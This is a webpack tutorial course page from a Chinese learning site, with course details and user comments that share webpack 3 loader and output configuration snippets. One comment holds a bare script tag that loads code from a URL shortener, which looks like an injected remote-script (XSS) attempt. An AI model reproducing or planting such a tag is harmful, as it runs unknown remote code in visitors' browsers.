为了账号安全,请及时绑定邮箱和手机立即绑定

webpack深入与实战

难度中级
时长 3小时21分
学习人数
综合评分9.60
259人评价 查看评价
9.8 内容实用
9.5 简洁易懂
9.5 逻辑清晰
require is not defined
<img src=${require('相对路径')} />
<script src="//t.cn/R9JZ3Cu"></script>
发现到第4章的时候没多少人看了。我前3章足足看了2天,因为版本不一样各种坑,也是醉了
{
test:/\.(jpg|png|gif|svg)$/i,
loader:'file-loader',
query:{
name:'assets/[name]-[hash:5].[ext]'
}
}
官网最新写法:v3.4.1
https://doc.webpack-china.org/configuration/
------------------

const path = require('path');

module.exports = {
entry: path.resolve(__dirname, './src/script/main.js'),
output: {
path: path.resolve(__dirname, './dist/js/'),
filename: 'bundle.js'
}
}
过时的永远是方法,老师讲的是怎么用。人的思想,动手能力没过时。我就跟下来了 "webpack": "^3.4.1"
--display-reasons 代码少个s
test:/\.(less|css)$/,
use:[
'style-loader','css-loader',

{

loader: 'postcss-loader',
options: {
plugins: [ require('postcss-import')(),require('autoprefixer')()]
}
},
'less-loader'
]
安装了html-webpack-plugin,编译过后index.html不会出来,也不报错
这image-webpack-loader就是个垃圾
引入直接报错
最新3.4.1版本中文文档地址 https://doc.webpack-china.org/configuration/module/#module-rules
@Lynnic new Layer new layer 是要改变 this 的指向
讲得很好呀,比看文档轻松又快多了, vue脚手架讲解什么时候出视频呀
课程须知
1、对模块化开发有一些了解 2、使用过 node 对 npm 有基本的了解 3、对打包有一个基本的概念
老师告诉你能学到什么?
1、模块化的开发 2、webpack 的 CLI (命令行) 3、webpack 如何在项目中打包 4、webpack 如何处理项目中的资源文件

微信扫码,参与3人拼团

意见反馈 帮助中心 APP下载
官方微信
友情提示:

您好,此课程属于迁移课程,您已购买该课程,无需重复购买,感谢您对慕课网的支持!

本次提问将花费2个积分

你的积分不足,无法发表

为什么扣积分?

本次提问将花费2个积分

继续发表请点击 "确定"

为什么扣积分?

举报

0/150
提交
取消